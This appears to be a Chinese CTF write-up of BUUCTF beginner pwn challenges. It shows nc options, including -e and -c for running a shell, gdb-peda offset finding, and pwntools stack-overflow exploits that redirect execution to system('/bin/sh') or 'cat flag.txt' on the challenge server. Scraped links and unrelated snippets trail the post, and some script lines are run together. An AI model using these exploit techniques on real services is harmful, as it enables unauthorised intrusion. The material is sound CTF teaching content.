【buuctf】pwn入门

pwn学习之路引入 栈溢出引入

test_your_nc

【题目链接】 注意到 Ubuntu 18, Linux系统 。

nc 靶场

 nc node3.buuoj.cn 25677

【注】 nc命令详解

-c shell命令为“-e”;使用/bin/sh来执行 [危险]

-e 文件名程序在连接后执行 [危险]

-b 允许广播

-g 网关源路由跃点,最多8个

-G num源路由指针:4,8,12。。。

-i secs 发送的线路和扫描的端口的延迟间隔为1秒

-k 在套接字上设置keepalive选项

-l 监听模式,用于入站连接

-n 仅数字IP地址,无DNS

-o 文件十六进制流量转储

-p 端口本地端口号

-r 随机化本地和远程端口

-q secs 在stdin上的EOF和秒延迟后q秒退出

-s addr地址本地源地址

-T tos 设置服务类型

-t 应答TELNET协商

-u UDP模式

-v verbose(使用两次可更详细)

-w 秒连接和最终网络读取超时

-C 发送CRLF作为行尾

-z 零I/O模式(用于扫描)

连接靶场后,执行 ls 命令,展示该靶场下目录文件。

ls

注意到目录下有个 flag文件 使用 cat命令进行查看。

cat flag

得到flag

flag{d9aef3cc-8aaf-41e3-8a25-ad2e6500c69a}

rip

【题目链接】

利用file/checksec命令查看文件

【参考题解】

下载得到 pwn1,利用 file 命令查看。

或者可以采用 checksec ./filename 命令进行探测。//查看当前二进制文件的指令架构以及采取了哪些保护机制。

对于checksec命令安装,可以直接选择安装pwntools(内置checksec命令)

sudo pip install pwntools
#或者选择直接下载
git clone https://github.com/slimm609/checksec.sh

具体指令架构和保护机制可参考 该博客

IDA查看pwn1附件

显而易见(ELF 64-bit)。放入IDA中查看。首先 f12+shift 转到字符串窗口。发现 gets system /bin/sh (存在漏洞)

please input 进行数据块跳转。

之后,按下f5 查看伪代码:

int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [rsp+1h] [rbp-Fh]
puts("please input");
gets((__int64)&s, (__int64)argv);
puts(&s);
puts("ok,bye!!!");
return 0;
}

此时注意到 gets函数

gets函数的缓冲区是由用户本身提供,由于用户无法指定一次最多可读入多少字节,导致此函数存在巨大安全隐患。换句话来说,就是gets若没有遇到 \n 结束,则会无限读取,没有上限。

gets((__int64)&s, (__int64)argv);

双击 s ,查看需要多少字节 。以此来确定偏移量。

也就是说只需要存入15个字节地址,就可以get函数返回地址。

注意到 后面还有 db 8 dup(?)

db: 定义字节类型变量的伪指令

dup(): 重复定义圆括号中指定的初值,次数由前面的数值决定

?: 只分配存储空间,不指定初值

因此 最后偏移量为 : 15+8 = 23 。

当然也可以通过 peda 来计算偏移量。

① gdb中 peda插件安装

git clone https://github.com/longld/peda.git ~/peda
echo "source ~/peda/peda.py" >> ~/.gdbinit

②对其进行gdb调试:

gdb pwn1

③ 生成溢出字符,需保证其长度能覆盖至RIP。执行 pattern create 200 命令

gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'

④ 执行 r 或者 start 命令让程序运行。//注意 start 命令执行后,还需执行 contin 命令。

please input 命令后,将之前生成的溢出字符串粘贴上去。

gdb-peda$ contin
Continuing.
please input
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA
ok,bye!!! Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x0
RBX: 0x0
RCX: 0x6f ('o')
RDX: 0x0
RSI: 0x4052a0 ("ok,bye!!!\nAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...)
RDI: 0x7fffff791670 --> 0x0
RBP: 0x412d41414341416e ('nAACAA-A')

注意到 RBP寄存器。也可以计算此时 nAACAA-A 的偏移量:

执行 pattern offset xxxxxx 命令。

pattern offset nAACAA-A

这里计算出的偏移量。不需要考虑堆栈平衡。构造playload时,直接与系统调用地址相加就可。

√ 通俗办法:

找到 stack 复制栈顶的字符串 // 前四个字节(64 bits为前8个字节) 计算偏移量

[------------------------------------stack-------------------------------------]
0000| 0x7fffffffe1a8 ("A(AADAA;AA)AAEAAaAA0AAFAAbA")
0008| 0x7fffffffe1b0 ("AA)AAEAAaAA0AAFAAbA")
0016| 0x7fffffffe1b8 ("aAA0AAFAAbA")
0024| 0x7fffffffe1c0 --> 0x100416241
0032| 0x7fffffffe1c8 --> 0x401142 (<main>: push rbp)
0040| 0x7fffffffe1d0 --> 0x0
0048| 0x7fffffffe1d8 --> 0x3777803596990da
0056| 0x7fffffffe1e0 --> 0x401060 (<_start>: xor ebp,ebp)
[------------------------------------------------------------------------------]

执行 pattern offset xxxxxx 命令。

pattern offset A(AADAA;AA)AAEAAaAA0AAFAAbA

得到偏移量 23

回到 IDA pro中。寻找是否存在 系统调用函数。

找到 fun() 函数

int fun()
{
return system("/bin/sh");
}

查看得到 地址为 0x401186。

编写相应的 exp

exp编写步骤:

from pwn import * #引入pwn库

p = remote(ip, port) # 输入对应的ip地址和端口号来连接其他主机的服务

... # 输入payload来进行操作以拿到程序的shell payload一般等于 偏移量 + 地址

p.interactive() # 反弹shell

因此,编写对应 exp:

exp1

from pwn import *

p = remote('node3.buuoj.cn', 27018)
payload = b'a' * 23 + p64(0x401186 + 1)
p.sendline(payload) p.interactive()

+1 是为了保证堆栈平衡。对于payload :

payload = b'a' * 23 + p64(0x401186) + p64(0x401185) #多加的这部分任意找ret语句 都可以

exp 2

from pwn import *

p = remote('node3.buuoj.cn', 27018)
payload = b'a' * 15 + p64(0x401186)
p.sendline(payload) p.interactive()

注意: 上述 payload中 'a' 可以替换成任意字母。

'a' 前面的 b是为了防止python3运行时出现以下错误。 // python2无事。

TypeError: can only concatenate str (not "bytes") to str

pwn环境准备

首先对相应的python/pip版本执行下载命令。即获取 pwntools,方便 exp运行和进行交互调试。

(我这里下的是python3的,使用pip3下载)

pip3 install pwn

运行上面编好的exp,保存为 1.py

执行代码。

python3 1.py
ls
cat flag

得到flag。

flag{2be84b3b-3172-481a-bc4b-dd99c48f0639}

warmup_csaw_2016

【题目链接】

第一步 nc一下靶场: nc node3.buuoj.cn 25333

root@DESKTOP-VUB6KKI:/mnt/c/Users/11145/Desktop# nc node3.buuoj.cn 25333
-Warm Up-
WOW:0x40060d
>

得到 addr:0x40060d

老规矩, file 命令查看一下:

载入IDApro查看,

存在一个 cat flag.txt 命令。因此,直接对其进行 gdb调试,得到偏移量。 方法同上:

gdb warmup_csaw_2016
gdb-peda$ pattern create 200
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA'
gdb-peda$ r
Starting program: /mnt/c/Users/11145/Desktop/warmup_csaw_2016
-Warm Up-
WOW:0x40060d
>AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x7ffffffee650
RBX: 0x0
RCX: 0x7fffff78e980 --> 0xfbad2288
RDX: 0x0
RSI: 0x6022a1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA\n")
RDI: 0x7fffff791680 --> 0x0
RBP: 0x4141334141644141 ('AAdAA3AA')

得到RBP寄存器中 'AAdAA3AA' 。往该字符串后,随便复制一串,进行偏移量计算:

gdb-peda$ pattern offset IAAeAA4AAJAAf

编写exp

from pwn import *

p = remote('node3.buuoj.cn', 25333)
payload = b'x' * 72 + p64(0x40060d)
p.sendline(payload) p.interactive()

运行exp脚本得到:

得到flag

flag{10d21dd6-9b91-45de-bf83-e01e0083d45e}

pwn1_sctf_2016

【题目链接】

下载得到 pwn1_sctf_2016 文件

checksec pwn1_sctf_2016

32位。载入IDA。shift+f12 发现 cat flag.txt 命令。跟进,追踪函数:

如何计算偏移量

① 输入多个I 查看最多可以转变多少个 you。

nc node3.buuoj.cn 29866

20个I 可以填满s溢出。

② 查看 s长度直接计算 I个数。

0000003C s               db ?
...........................................
+00000000 s db 4 dup(?)

s长为 0x3c 即 60 。

又因为 fets限制为32个字符。我们必须利用 输入I 便为 you 这个特性来实现填满s。

60/3=20 也就是说需要 20个 I 方可实现填满。

注意: db 4 dup(?) 这里还有4个字节内存要被占!

寻找地址

找到 get_flag 函数

int get_flag()
{
return system("cat flag.txt");
}

地址为 :08048F0D

编写exp

from pwn import *

p = remote('node3.buuoj.cn', 29866)

# 因为最后还有四个字节需要填充,I代表三个字节再加上一个即可满足。
payload = b'I' * 21 + b'x' + p64(0x8048F0D) #下面这个亦可,直接用x填充4个字节。
#payload = b'I' * 20 + b'x' * 4 + p64(0x8048F0D) p.sendline(payload) p.interactive()

得到flag

flag{e23b1ad6-0af8-4a1f-9007-6e9bf909707c}

【侵权删】

【转载请放链接】 https://www.cnblogs.com/Jlay/p/pwn_wp1.html

(buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016的更多相关文章

  1. BUUCTF PWN部分题目wp

    pwn好难啊 PWN 1,连上就有flag的pwnnc buuoj.cn 6000得到flag 2,RIP覆盖一下用ida分析一下,发现已有了system,只需覆盖RIP为fun()的地址,用peda ...

  2. CTF必备技能丨Linux Pwn入门教程——stack canary与绕过的思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  3. CTF必备技能丨Linux Pwn入门教程——PIE与bypass思路

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  4. CTF必备技能丨Linux Pwn入门教程——利用漏洞获取libc

    Linux Pwn入门教程系列分享如约而至,本套课程是作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的题目和文章整理出一份相对完整的Linux Pwn教程. 教程仅针对i386/am ...

  5. CTF必备技能丨Linux Pwn入门教程——ShellCode

    这是一套Linux Pwn入门教程系列,作者依据i春秋Pwn入门课程中的技术分类,并结合近几年赛事中出现的一些题目和文章整理出一份相对完整的Linux Pwn教程. 课程回顾>> Linu ...

  6. [BUUCTF]PWN——babyheap_0ctf_2017

    [BUUCTF]PWN--babyheap_0ctf_2017 附件 步骤: 例行检查,64位,保护全开 试运行一下程序,看到这个布局菜单,知道了这是一道堆的题目,第一次接触堆的小伙伴可以去看一下这个 ...

  7. Linux pwn入门教程(10)——针对函数重定位流程的几种攻击

    作者:Tangerine@SAINTSEC 本系列的最后一篇 感谢各位看客的支持 感谢原作者的付出一直以来都有读者向笔者咨询教程系列问题,奈何该系列并非笔者所写[笔者仅为代发]且笔者功底薄弱,故无法解 ...

  8. Linux pwn入门教程(0)——环境配置

    作者:Tangerine@SAINTSEC 0×00前言 作为一个毕业一年多的辣鸡CTF选手,一直苦于pwn题目的入门难,入了门更难的问题.本来网上关于pwn的资料就比较零散,而且经常会碰到师傅们堪比 ...

  9. Linux pwn入门教程——CTF比赛

    Linux pwn入门教程(1)——栈溢出基础 from:https://zhuanlan.zhihu.com/p/38985585   0x00 函数的进入与返回 要想理解栈溢出,首先必须理解在汇编 ...

随机推荐

  1. 使用C++标准库cout输出枚举类型

    由于枚举类型呢,是属于一种标签类型,所以在使用std::cout输出的时候,会导致无法匹配数据类型而导致cout函数失败. 这里给的建议呢就是在想要输出的时候,将枚举类型转换为数据类型就可以啦. 如: ...

  2. docker是个啥?

    docker 第一问:什么是容器 容器就是在一个隔离的环境中运行的一个进程.注意关键词,隔离和进程.如果进程停止,那么容器就销毁.因为具有隔离的特点,所以每个容器都拥有自己的文件系统:包括IP地址.主 ...

  3. Pytest学习(四) - fixture的使用

    前言 写这篇文章,整体还是比较坎坷的,我发现有知识断层,理解再整理写出来,还真的有些难. 作为java党硬磕Python,虽然对我而言是常事了(因为我比较爱折腾,哈哈),但这并不能影响我的热情. 执念 ...

  4. 打爆你的 CPU

    打爆你的 CPU Intro 今天来尝试写一段代码,把 CPU 打满,让所有处理器的 CPU 使用率达到 100% 如何提高 CPU 使用率 想要提高 CPU 的使用率就是要让 CPU 一直在工作,单 ...

  5. 计算机CPU是怎么认识代码的?

    先说一下半导体,啥叫半导体?就是介于导体和绝缘体中间的一种东西,比如二极管.   电流可以从A端流向C端,但反过来则不行.你可以把它理解成一种防止电流逆流的东西. 当C端10V,A端0V,二极管可以视 ...

  6. for循环使用体会

    最近在看源码的时候看到了以下代码: Class[] var2 = componentClasses; int var3 = componentClasses.length; for(int var4 ...

  7. ASP.NET Core Authentication系列(一)理解Claim, ClaimsIdentity, ClaimsPrincipal

    前言 首先我们来看一下在ASP.NET时代,Authentication是如何使用的.下面介绍的是System.Web.Security.FormsAuthentication: // 登录 Syst ...

  8. 4G DTU模块的功能和作用是什么

    4G DTU模块我们可以简单将它理解为使用4G无线通信网络来进行远距离无线传送的终端设备.4G DTU模块基于4G方式进行远距离的数据传输,是专门用于将串口数据转换为IP数据或将IP数据转换为串口数据 ...

  9. k8s部署之系统初始化(一)

    初始化 1.安装依赖包 yum -y install tree lrzsz nmap nc telnet vim wget lsof network-tools bash-completion bas ...

  10. 浅谈Linux桌面(发行版及桌面环境)

    Part I: 前言 笔者2018年接触Linux(当时还是学校机房的Ubuntu 14.04 LTS),至今已经有4个年头了. 折腾了至少十几个Linux发行版,包括但不限于: ubuntu.Deb ...